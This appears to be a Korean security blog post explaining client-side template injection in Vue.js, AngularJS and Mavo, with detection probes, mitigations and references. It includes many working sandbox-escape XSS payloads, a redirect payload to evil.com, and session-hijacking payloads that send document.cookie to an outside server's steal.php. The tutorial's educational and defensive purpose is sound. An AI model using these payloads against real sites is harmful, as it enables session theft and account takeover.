ν‹°μŠ€ν† λ¦¬ λ·°

CSTI λž€?

Client Side Template Injection으둜 ν΄λΌμ΄μ–ΈνŠΈ μΈ‘μ—μ„œ μ‚¬μš©λ˜λŠ” ν…œν”Œλ¦Ώμ— μž„μ˜ ꡬ문을 μ£Όμž…ν•œλ‹€λŠ” 의미λ₯Ό κ°€μ§‘λ‹ˆλ‹€. λΈŒλΌμš°μ € μƒμ—μ„œ μž…λ ₯된 ν…œν”Œλ¦Ώ ν‘œν˜„μ‹μ„ ν”„λ‘ νŠΈ μΈ‘μ—μ„œ μ΄ν•΄ν•˜κ³  μ›ν•˜λŠ” κ²°κ³Όλ₯Ό λ³΄μ—¬μ€€λ‹€λŠ” 것은 곡격자 κ΄€μ μ—μ„œ ν…œν”Œλ¦Ώ ν‘œν˜„μ‹ + μžλ°”μŠ€ν¬λ¦½νŠΈ ꡬ문 쑰합을 톡해 XSSλ₯Ό μ‹œλ„ν•  κ°€μΉ˜κ°€ μžˆλŠ” μ·¨μ•½μ μž…λ‹ˆλ‹€.

 

일반적으둜 XSS μ·¨μ•½μ μ˜ 영ν–₯도와 μœ μ‚¬ν•˜μ§€λ§Œ μ˜¨μ „νžˆ μžλ°”μŠ€ν¬λ¦½νŠΈ ꡬ문으둜 μ‹€ν–‰μ‹œν‚€λŠλƒ ν…œν”Œλ¦Ώ ν‘œν˜„μ‹μ— λ‹΄μ•„μ„œ μ‹€ν–‰ν•˜λŠλƒμ˜ 차이가 μ‘΄μž¬ν•©λ‹ˆλ‹€.

 

κ³΅κ²©μžλŠ” μƒŒλ“œλ°•μŠ€μ—μ„œ ν—ˆμš©λ˜λŠ” ν•¨μˆ˜($eval 제곡)와 객체(toString(), charAt(), trim(), prototype, and constructor)와 ν‘œν˜„μ‹ "{{}}" λ˜λŠ” "[]"λ₯Ό 톡해 μƒŒλ“œλ°•μŠ€λ₯Ό λ²—μ–΄λ‚˜κ²Œ λ˜μ–΄ μŠ€ν¬λ¦½νŠΈκ°€ μ‹€ν–‰λ˜κ²Œ μœ λ„ν•˜κ²Œ λ©λ‹ˆλ‹€.

  • constructor and prototype : μ΄ ν•¨μˆ˜λŠ” μ½”λ“œλ₯Ό λ™μ μœΌλ‘œ μƒμ„±ν•˜κ³  μ‹€ν–‰ν•˜λŠ” λ° μ‚¬μš©
  • trim() : λ¬Έμžμ—΄ μ’Œ/μš°μ—μ„œ κ³΅λ°±μ„ μ œκ±°
  • charAt() : λ¬Έμžμ—΄μ—μ„œ μ§€μ •λœ μœ„μΉ˜μ— μ‘΄μž¬ν•˜λŠ” λ¬Έμžλ₯Ό μ°Ύμ•„μ„œ λ°˜ν™˜
  • toString() : μˆ«μžλ₯Ό λ¬Έμžμ—΄λ‘œ λ³€ν™˜

 

Surface Recon

ν‘œλ©΄ μ •μ°°ν•˜λŠ” 방법은 ν…œν”Œλ¦Ώ ν‘œν˜„식을 μ‚¬μš©ν•˜λŠ” SSTI(Sever side tempate injection) μ·¨μ•½μ κ³Ό μœ μ‚¬ν•©λ‹ˆλ‹€. μ΄ λ‘˜μ˜ μ°¨μ΄μ μ€ μ·¨μ•½μ  μ•…μš©μ„ ν†΅ν•΄ μ΄λ£¨μ–΄μ§€λŠ” νš¨κ³Όκ°€ λ‹€λ₯΄λ‹€κ³  λ³Ό μˆ˜ μžˆμŠ΅λ‹ˆλ‹€. μ„œλ²„ μΈ‘ μ£Όμž…이면 μ›κ²©μ½”λ“œλ₯Ό μ‹€ν–‰μ‹œν‚€λŠ” κ²ƒμ΄ λͺ©μ μ΄ λ˜κ² μ§€μš”.

 

λŒ€μƒ μ›Ή μ‚¬μ΄νŠΈκ°€ ν…œν”Œλ¦Ώ 엔진이 ν¬ν•¨λœ μžλ°”μŠ€ν¬λ¦½νŠΈ ν”„λ ˆμž„μ›Œν¬λ₯Ό μ‚¬μš©ν•  경우 HTML νƒœκ·Έμ— ν‘œν˜„μ‹ ꡬ문을 μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ„œλ²„κ°€ HTTP 응닡을 λ°˜ν™˜ν•˜κΈ° 전에 μ„œλ²„ μΈ‘μ—μ„œ ν•΄μ„λ˜μ–΄ μ‚¬μš©μžλ“€μ—κ²Œ 보이게 λ©λ‹ˆλ‹€. ν…œν”Œλ¦Ώ μ‚¬μš© 유무λ₯Ό κ°„λ‹¨νžˆ ν…ŒμŠ€νŠΈν•΄λ³΄κΈ° μœ„ν•΄μ„  μ—°μ‚°μžλ₯Ό μ‚¬μš©ν•˜μ—¬ κ³„μ‚°λœ κ²°κ³Ό κ°’(81)이 화면에 λ‚˜νƒ€λ‚˜λŠ”μ§€ μ²΄ν¬ν•˜λ©΄ λ©λ‹ˆλ‹€.

  • {{9*9}}
  • ${9*9}
  • ${{9*9}}
  • <%= 9*9 %>
  • #{9*9}
Input
# www.example.com/csti/?name={{9*9}}
Output
# Ctrl + F and Find 81

 

Vue.js Template

2014λ…„ 릴리즈λ₯Ό μ‹œμž‘μœΌλ‘œ κΎΈμ€€νžˆ λ°œμ „ 쀑인 μžλ°”μŠ€ν¬λ¦½νŠΈ ν”„λ ˆμž„μ›Œν¬μž…λ‹ˆλ‹€. HTML μ½”λ“œλ₯Ό 기반으둜 ν…œν”Œλ¦Ώμ„ λ§Œλ“€μ–΄λ‚Ό 수 μžˆμŠ΅λ‹ˆλ‹€. μž…λ ₯된 ν‘œν˜„μ‹μ„ HTML μ½”λ“œμ— λ°”μΈλ”©ν•˜κΈ° μœ„ν•΄ "{}" 이쀑 μ€‘κ΄„ν˜Έλ₯Ό μ‚¬μš©ν•  수 μžˆλŠ”λ°, 보간법이라고 λ³΄μ‹œλ©΄ λ©λ‹ˆλ‹€.

<div id="app">
    <h1>Hello ?name=${escapeHTML(name)}</h1>
  </div>
  ...
  <script>
      new Vue({
        el: '#app'
      });
  </script>

μ·¨μ•½ν•œ νŽ˜μ΄μ§€ μ†ŒμŠ€(vuejs 2.5.13)λ₯Ό 확인해 λ³΄κ² μŠ΅λ‹ˆλ‹€.

Vue μΈμŠ€ν„΄μŠ€λŠ” new ν‚€μ›Œλ“œλ₯Ό 톡해 μœ„μ™€ 같이 생성할 수 μžˆμŠ΅λ‹ˆλ‹€. el 속성은 μ–΄λ– ν•œ idλ₯Ό 가진 html νƒœκ·Έμ— ν¬ν•¨μ‹œν‚¬μ§€ ν‘œκΈ°ν•˜λŠ” κ²ƒμœΌλ‘œ μΈμŠ€ν„΄μŠ€ λ‚΄μ˜ 데이터λ₯Ό html μ½”λ“œμ— λ°”μΈλ”©ν•˜κΈ° μœ„ν•΄μ„œ 이쀑 μ€‘κ΄„ν˜Έ {{ }} 문법을 ν™œμš©ν•΄μ•Ό λ©λ‹ˆλ‹€.

 

#app이 μ‚¬μš©λ˜μ—ˆμœΌλ―€λ‘œ μ‚¬μš©μžν•œν…Œ λ³΄μ—¬μ£ΌλŠ” νƒœκ·ΈλŠ” μ„ μ–Έλ˜μ–΄ μžˆλŠ” 객체인 "<div id="app"></div>" 에 ν¬ν•¨λ©λ‹ˆλ‹€. 결과적으둜 Vue μΈμŠ€ν„΄μŠ€ λ‚΄λΆ€μ˜ 데이터가 λ°”λ€” λ•Œλ§ˆλ‹€ 그에 λ§žλŠ” 화면을 μ‚¬μš©μžλ“€μ—κ²Œ 보이게 λ©λ‹ˆλ‹€.

 

μΆ”κ°€μ μœΌλ‘œ Vuejs 베이슀의 Template Injection을 찾고자 ν•  경우 λ””λ ‰ν‹°λΈŒ 쀑 ν•˜λ‚˜μΈ "v-html" 뢀뢄을 μ²΄ν¬ν•΄λ³΄λŠ” 것도 μ’‹μŠ΅λ‹ˆλ‹€.

  • v-html : innerHTML 속성에 연결됨, μ£Όμž…λœ νƒœκ·Έλ₯Ό νŒŒμ‹± ν•˜μ—¬ 화면에 λ³΄μ—¬μ£Όλ―€λ‘œ XSS λ°œμƒ κ°€λŠ₯

* v-text: μ£Όμž…λœ HTML νƒœκ·Έλ₯Ό 인코딩 μ‹œμΌœ λ³΄μ—¬μ£Όλ―€λ‘œ μ•ˆμ „ν•¨

 

XSSλ₯Ό μœ λ°œν•˜κΈ°μœ„ν•΄ 슀크립트 ꡬ문을 μ‚½μž…ν•΄λ³΄λ©΄ μ‹€ν–‰λ˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. name λ³€μˆ˜μ— ${escapeHTML}의 영ν–₯으둜 μž…λ ₯된 νŠΉμˆ˜λ¬Έμžλ“€μ΄ μ΄μŠ€μΌ€μ΄ν”„ 처리되기 λ•Œλ¬Έμž…λ‹ˆλ‹€.

 

ν…œν”Œλ¦Ώ ν‘œν˜„μ‹μ„ μ‚¬μš©ν•  수 μžˆλŠ” ν™˜κ²½μΈμ§€ νŒŒμ•…ν•˜κΈ° μœ„ν•΄ {} μ€‘κ΄„ν˜Έλ₯Ό ν™œμš©ν•˜μ—¬ κ°„λ‹¨ν•œ μ—°μ‚° ꡬ문을 μ£Όμž…ν•΄λ³Έ κ²°κ³Ό 81μ΄λΌλŠ” κ²°κ³Ό 값이 λ‚˜νƒ€λ‚œ 것을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€. 이λ₯Ό 톡해 κ³΅κ²©μžλŠ” ν…œν”Œλ¦Ώ μ£Όμž…μ— μ·¨μ•½ν•  수 μžˆλ‹€λŠ” 것을 μ•Œκ²Œ λ©λ‹ˆλ‹€.

 

ν…œν”Œλ¦Ώ 문법을 ν™œμš©ν•΄μ„œ 슀크립트λ₯Ό μ‹€ν–‰μ‹œν‚€κ²Œ λ©λ‹ˆλ‹€. μ΄λ•Œ μ‚¬μš©λœ ν•¨μˆ˜λŠ” constructor 즉 μƒμ„±μž ν•¨μˆ˜λ‘œ alertν•¨μˆ˜λ₯Ό μ‹€ν–‰μ‹œν‚¬ 수 μžˆλ„λ‘ λ„μ™€μ€λ‹ˆλ‹€.

 

  <div v-pre>
    <h1>Hello ?name=${escapeHTML(name)}</h1>
  </div>

λ§Œμ•½ μœ„μ—μ„œ λ°œμƒλœ Template Injection을 μ˜ˆλ°©ν•˜κΈ° μœ„ν•΄μ„œλŠ” "v-pre" λ””λ ‰ν‹°λΈŒλ₯Ό ν™œμš©ν•΄μ„œ μ£Όμž…λœ 보간법을 μ²˜λ¦¬ν•˜μ§€ λͺ»ν•˜κ³  κ·ΈλŒ€λ‘œ 좜λ ₯ν•˜λ„λ‘ ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

# Vuejs v2 Template Payload
{{constructor.constructor('alert(1)')()}}

# Vuejs v3 Template Payload
{{_openBlock.constructor('alert(1)')()}}

# More Payload
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

 

Angular.js Template

ꡬ글이 2009년도에 λ°œν‘œν•œ μžλ°”μŠ€ν¬λ¦½νŠΈ ν”„λ ˆμž„μ›Œν¬μž…λ‹ˆλ‹€. AngularJS ν‘œν˜„μ‹μ˜ 좜λ ₯은 νŽ˜μ΄μ§€μ— 직접 κΈ°λ‘λ©λ‹ˆλ‹€. κ³΅κ²©μžκ°€ ν‘œν˜„μ‹μ„ μ œμ–΄ν•  수 μžˆλŠ” ν™˜κ²½μΈ 경우 μ•…μ˜μ μΈ JavaScript μ½”λ“œλ₯Ό ν…œν”Œλ¦Ώ ν‘œν˜„μ‹κ³Ό μ‘°ν•©ν•˜μ—¬ μ‹€ν–‰μ‹œν‚¬ 수 μžˆμŠ΅λ‹ˆλ‹€. 기본적으둜 ν…œν”Œλ¦Ώμ— μž…λ ₯된 HTML νƒœκ·Έλ“€μ— λŒ€ν•΄ μžλ™μœΌλ‘œ μ΄μŠ€μΌ€μ΄ν”„ 처리λ₯Ό ν•˜κ³  μžˆλŠ” 만큼 μ˜μ‘΄ν•˜λŠ” κ²½μš°κ°€ μ’…μ’… μ‘΄μž¬ν•˜μ§€λ§Œ μ΄λŠ” μ ˆλŒ€μ μœΌλ‘œ μ•ˆμ „ν•œ 방법이 μ•„λ‹™λ‹ˆλ‹€.

 

AngularJS 1.6 ν•˜μœ„ λ²„μ „λ“€μ˜ ν‘œν˜„μ‹μ€ DOM λ…ΈμΆœμ„ μ œν•œν•˜κ³  λΆ„λ¦¬λ˜λŠ” μƒŒλ“œλ°•μŠ€ ν˜•μ‹μœΌλ‘œ κ΅¬λΆ„λ˜μ–΄ μžˆμ—ˆμŠ΅λ‹ˆλ‹€. μ—¬κΈ°μ„œ κ³΅κ²©μžλ“€μ€ 슀크립트λ₯Ό μœ λ°œν•˜κΈ° μœ„ν•΄ λ‚΄λΆ€ μƒŒλ“œλ°•μŠ€λ₯Ό λ²—μ–΄λ‚˜κ²Œ 끔 μœ λ„ ν›„ XSSλ₯Ό μ‹€ν–‰μ‹œν‚¬ 수 μžˆμŠ΅λ‹ˆλ‹€.

*AngularJSλŠ” 2021-12-31일 지원 μ’…λ£Œ

  • Sandbox 1.1.5 ~ 1.5.*
  • Remove Sandbox 1.6+

<html lang="en" ng-app>
  <head>
  <script src="style/angular.min.js"></script>
  </head>
  <body>
  <form role="search" action="" method="GET">
  <div class="input-group">
	<input type="text" class="form-control" name="search" placeholder="Search">
	...
	<?php
      if (isset($_GET['search']) && !empty($_GET['search'])) {
        $search = htmlspecialchars($_GET['search']);
        echo "<h3>" . $search . " Not found</h3>";
      }
    ?>

Angularjs 버전은 1.4.8둜 HTML νŽ˜μ΄μ§€ μ†ŒμŠ€μ—μ„œ "ng-app" ν•¨μˆ˜κ°€ 포함돼 μžˆμŒμ„ ν™•μΈν•©λ‹ˆλ‹€. 이것은 ν•΄λ‹Ή 라인뢀터 Angularjsλ₯Ό μ‚¬μš©ν•˜κ² λ‹€κ³  μ„ μ–Έν•˜λŠ” 것을 μ˜λ―Έν•˜κΈ° λ•Œλ¬Έμ— μž…λ ₯된 ν‘œν˜„μ‹μ„ ν•΄μ„ν•˜κ³  μ‚¬μš©μžλ“€μ—κ²Œ 보이게 λ©λ‹ˆλ‹€.

 

일반적으둜 XSS μ·¨μ•½μ μ„ λ°œκ²¬ν•˜κΈ° μœ„ν•΄μ„œ μž…λ ₯λ°›λŠ” λ§€κ°œλ³€μˆ˜μ— ", ', <, > λ“± μ„ μ‚½μž…ν•΄μ„œ valueμ—μ„œ λ²—μ–΄λ‚  μˆ˜ μžˆλŠ”지 μ—¬λΆ€λ₯Ό λ¨Όμ € ν™•μΈν•˜μ§€λ§Œ search λ³€μˆ˜μ— htmlspecialchars κ°€ μ μš©λ˜μ–΄ μžˆμ–΄ νŠΉμˆ˜λ¬Έμžλ₯Ό λ¬Έμž κ·ΈλŒ€λ‘œ μΈμ‹ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€.

 

ν‘œν˜„μ‹μ„ 톡해 μΈμ μ…˜μ΄ κ°€λŠ₯ν•œμ§€ μ—¬λΆ€λ₯Ό 사전에 확인해야 λ©λ‹ˆλ‹€.{{2*2}} λ₯Ό μž…λ ₯해보면 κ²°κ³Ό "4"λ₯Ό 얻을 수 μžˆμŠ΅λ‹ˆλ‹€.

 

# Input
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(`AngularJS!!`)');}}

# More Payload
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md

AngularJSλŠ” "ν”„λ ˆμž„μ›Œν¬" 이기에 λ™μΌν•œ 버전이더라도 각각의 μž…λ ₯ 값을 μ²˜λ¦¬ν•˜λŠ” 방법은 μ‘°κΈˆμ”© λ‹€λ₯Ό 수 μžˆμŠ΅λ‹ˆλ‹€. ν•˜μ§€λ§Œ μ§œμ—¬μ§„ μ½”λ“œμ˜ 문제둜 인해 μ‚¬μš©μžκ°€ μž…λ ₯ν•œ ν‘œν˜„μ‹μ„ μ„œλ²„μ—μ„œ λ™μ μœΌλ‘œ μ΄ν•΄ν•˜κ³  μ‹€ν–‰ν•˜κ²Œ λ˜λŠ” ν™˜κ²½μΌ 경우 μœ„μ™€ 같은 νŒμ—…μ°½μ„ λ§ˆμ£Όν•˜κ²Œ λ©λ‹ˆλ‹€.

 

No quote | double quote

# {{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}
# {{(toString()).constructor.prototype.charAt=(toString()).constructor.prototype.concat;$eval((toString()).constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41))}}
# {{constructor.constructor(valueOf.name.constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41))()}}

μ–΄λŠ 정도 μ‚¬μš©μžμ˜ μž…λ ₯ 값을 무쑰건 적으둜 μ‹ λ’°ν•˜μ§€ μ•ŠλŠ” μ‚¬μ΄νŠΈμ˜ 경우 기본적으둜 μ‹±κΈ€ μΏΌν„° λ˜λŠ” 더블 μΏΌν„°λ₯Ό μ‚¬μš©ν•˜μ§€ λͺ»ν•˜κ²Œλ” μ΄μŠ€μΌ€μ΄ν”„ μ²˜λ¦¬ν•˜κ²Œ λ©λ‹ˆλ‹€. 그럴 λ•ŒλŠ” fromCharCodeλ₯Ό ν™œμš©ν•΄μ„œ μ£Όμž…μ΄ κ°€λŠ₯ν•©λ‹ˆλ‹€.

* String.formCharCode λŠ” Angular의 λ²”μœ„ λ‚΄μ—μ„œ μ•‘μ„ΈμŠ€ ν•  수 μžˆλŠ” 속성과 λ³€μˆ˜λ§Œ μ‚¬μš©ν•˜λ„λ‘ μ œν•œν•˜κΈ° λ•Œλ¬Έμ— μž‘λ™ν•˜μ§€ μ•ŠμŒ

 

Force Redirection

# {{'a'.constructor.prototype.charAt=[].join;$eval('x=location.replace("https://evil.com")');}}
# {{constructor.constructor('location.replace("https://evil.com")')()}}

취약점을 μ œλ³΄ν•˜κ±°λ‚˜ κ³ κ°μ‚¬μ—κ²Œ 전달해쀄 λ•ŒλŠ” λ‹¨μˆœνžˆ νŒμ—…μ°½μ„ λ„μ›Œμ„œ κ²€μ¦ν•˜λŠ” 것보닀. κ°„λ‹¨νžˆ 영ν–₯도λ₯Ό ν™•μΈμ‹œμΌœμ£ΌλŠ” 것도 μ’‹μŠ΅λ‹ˆλ‹€. μ•…μ˜μ μΈ ν…œν”Œλ¦Ώ ν‘œν˜„μ‹ ꡬ문이 ν¬ν•¨λœ URL을 ν΄λ¦­ν•œ μ‚¬μš©μžλŠ” κ³΅κ²©μžκ°€ 지정해둔 μž„μ˜ μ£Όμ†Œλ‘œ λ¦¬λ‹€μ΄λ ‰νŠΈλ₯Ό λ°œμƒμ‹œν‚¬ 수 μžˆμŠ΅λ‹ˆλ‹€.

 

Session Hijacking

# {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };document.location="http://172.20.10.2:8888/steal.php?test="+document.cookie//');}}
# {{constructor.constructor('new Image().src="http://172.20.10.2:8888/steal.php?test="+document.cookie;')()}}

CSTI 취약점을 ν™œμš©ν•œ Account takeover을 λ˜λŠ” Session hijacking을 ν•˜κΈ° μœ„ν•΄μ„œλŠ” ν•΄λ‹Ή ꡬ문을 톡해 νƒˆμ·¨ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

Mavo Template

MavoλŠ” μ‚¬μš©μžκ°€ μˆœμˆ˜ HTML을 μ‚¬μš©ν•˜μ—¬ λŒ€ν™”ν˜• μ›Ή μ‘μš© ν”„λ‘œκ·Έλž¨μ„ λ§Œλ“€ μˆ˜ μžˆλ„둝 ν•˜μ—¬ μ›Ή κ°œλ°œμ„ λ‹¨μˆœν™”ν•˜λŠ” κ²ƒμ„ λͺ©ν‘œλ‘œ ν•˜λŠ” μžλ°”μŠ€ν¬λ¦½νŠΈ ν”„λ ˆμž„μ›Œν¬μž…λ‹ˆλ‹€.

 

기본적으둜 Mavoμ—μ„œλŠ” HTML λ¬Έμ„œμ˜ λŒ€κ΄„ν˜Έ μ•ˆμ— MavoScriptλ₯Ό 포함할 수 μžˆμŠ΅λ‹ˆλ‹€. μ‚¬μš©λ˜λŠ” ν‘œν˜„μ‹μ€ μ•„λž˜μ™€ κ°™μŠ΅λ‹ˆλ‹€.

  • [9*9]
  • https://mavo.io/docs/mavoscript(Mavo ꡬ문)

HTML νŽ˜μ΄μ§€ 내뢀에 Mavo Template μ‚¬μš©μ„ 확인 ν›„ μ μ ˆν•œ ν‘œν˜„μ‹μ„ μ‚½μž…ν•˜μ—¬ ν…œν”Œλ¦Ώ 유무λ₯Ό μ²΄ν¬ν•©λ‹ˆλ‹€.

 

[self.alert(`Mavo!!`)]
[''=''or self.alert(lol)]
[/**/x='javascript'][/**/x+=':alert'+y.rel+y.title]<a href=[x] id=y title=1) rel=(>test</a>
[self.alert(1)mod1]
[omglol mod 1 mod self.alert(1)andlol] => MavoλŠ” μ—°μ‚°μž ν‚€μ›Œλ“œ λ°”λ‘œ 뒀에 μΈμš©λ˜μ§€ μ•Šμ€ λ¬Έμžμ—΄μ„ ν—ˆμš©

ν‘œν˜„μ‹μ„ ν†΅ν•œ μžλ°”μŠ€ν¬λ¦½νŠΈ ꡬ문을 μ‹€ν–‰μ‹œν‚¬ 수 μžˆμŠ΅λ‹ˆλ‹€. 이 밖에도 MavoλŠ” 특유의 HTML 속성을 ν™œμš©ν•΄μ„œ XSSλ₯Ό λ°œμƒμ‹œν‚¬ 수 μžˆμŠ΅λ‹ˆλ‹€.

  • <a href=javascript[x.rel]1) id=x rel=:alert(>test</a> => Filter Bypass
  • <a href=[javascript&':alert(1)']>test</a>
  • <div mv-if=”false”>Hide me</div> => mv-value λ° mv-if μ‚¬μš© μ‹œ "[]" λŒ€κ΄„ν˜Έ μ—†μ΄ μ£Όμž… κ°€λŠ₯
  • <a data-mv-if='1 or self.alert(1)'>test</a>
  • <div mv-expressions="{{ }}">{{top.alert(1)}}</div> => mv-expressions μ‚¬μš© μ‹œ
  • <div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>

Mavo ν…œν”Œλ¦Ώμ— λŒ€ν•œ 취약점 κ°œμš”λŠ” μ•„λž˜μ˜ 링크λ₯Ό 톡해 보닀 λ§Žμ€ 정보λ₯Ό μ–»μœΌμ‹€ 수 μžˆμŠ΅λ‹ˆλ‹€.

https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

 

Abusing JavaScript frameworks to bypass XSS mitigations

At AppSec Europe Sebastian Lekies, Krzysztof Kotowicz and Eduardo Vela Nava showed how to use JavaScript frameworks to bypass XSS mitigations. In this post I’ll do a systematic analysis of how the bra

portswigger.net

 

Custom Payload

Bug bounty의 νƒ€μž„μ–΄νƒ λ˜λŠ” μ§„λ‹¨ν•˜κ³ μž ν•˜λŠ” λŒ€μƒμ˜ μˆ˜κ°€ λ§Žμ„ 경우 μ‚¬μš©μžμ˜ μž…λ ₯ κ°’ ν…ŒμŠ€νŠΈλ₯Ό ν•˜λ‚˜μ”© λ„£μ–΄μ„œ ν™•μΈν•˜κΈ°μ—λŠ” μ‹œκ°„μ„ 효율적으둜 μ‚¬μš©ν•  수 μ—†λŠ” λ¬Έμ œκ°€ λ°œμƒν•©λ‹ˆλ‹€. 그럴 λ•ŒλŠ” 문법 ꡬ문이 μ—λŸ¬ λ‚˜μ§€ μ•ŠλŠ” μ„ μ—μ„œ 적절히 μ½”λ“œλ₯Ό μ„žμ–΄μ€€ ν›„ μžλ™ν™”ν•΄μ£Όμ‹œλ©΄ 보닀 λΉ λ₯΄κ²Œ ν‘œλ©΄ μ •μ°°ν•  수 있게 λ©λ‹ˆλ‹€.

 

μ„ νƒν•œ μžλ°”μŠ€ν¬λ¦½νŠΈ ν”„λ ˆμž„μ›Œν¬λ₯Ό 가져와 μ‚¬μš©μžμ˜ νŽΈμ˜μ„±λ§Œμ„ κ³ λ €ν•˜λ‹€ 보면 μ’…μ’… μ΄μŠˆκ°€ λ°œμƒν•˜κ³€ ν•©λ‹ˆλ‹€. μ΄λŸ¬ν•œ λ¬Έμ œλ“€μ„ μ˜ˆλ°©ν•˜κΈ° μœ„ν•΄μ„œλŠ” μž…λ ₯된 값이 ν…œν”Œλ¦Ώμ— λ™μ μœΌλ‘œ ν¬ν•¨λ˜μ§€ μ•Šκ²Œ 끔 ν•„μš”ν•œ μ˜μ—­μ—λ§Œ μ„ μ–Έν•΄μ„œ μ‚¬μš©ν•΄μ•Ό λ©λ‹ˆλ‹€. 예λ₯Ό λ“€μ–΄ AngularJSλŠ” HTML λ‚΄μ˜ "ng-app" μ§€μ‹œλ¬Έμ„ 톡해 λ²”μœ„λ₯Ό μ œν•œν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

그렇지 λͺ»ν•œ ν™˜κ²½μΌ 경우 일반적인 XSSλ₯Ό μ˜ˆλ°©ν•˜λŠ” 것과 μœ μ‚¬ν•˜κ²Œ ν‘œν˜„μ‹({μ€‘κ΄„ν˜Έ}, [λŒ€κ΄„ν˜Έ]) κ³Ό μ•…μ˜μ μœΌλ‘œ μ‚¬μš© κ°€λŠ₯ν•œ ν‚€μ›Œλ“œλ“€μ„ 적절히 필터링 ν•΄μ£Όκ³  μƒˆλ‘œμš΄ Release 버전에 λŒ€ν•΄ κΈμ •μ μœΌλ‘œ μˆ˜μš©ν•˜λŠ” μžμ„Έλ₯Ό κ°€μ§€λŠ” 것이 μ’‹μŠ΅λ‹ˆλ‹€.

 

#References
https://techblog.securesky-tech.com/entry/2018/08/01/110000
https://github.com/azu/vue-client-side-template-injection-example
https://www.hahwul.com/cullinan/csti/
https://book.hacktricks.xyz/pentesting-web/client-side-template-injection-csti
https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

κ³΅μœ ν•˜κΈ° 링크
Comment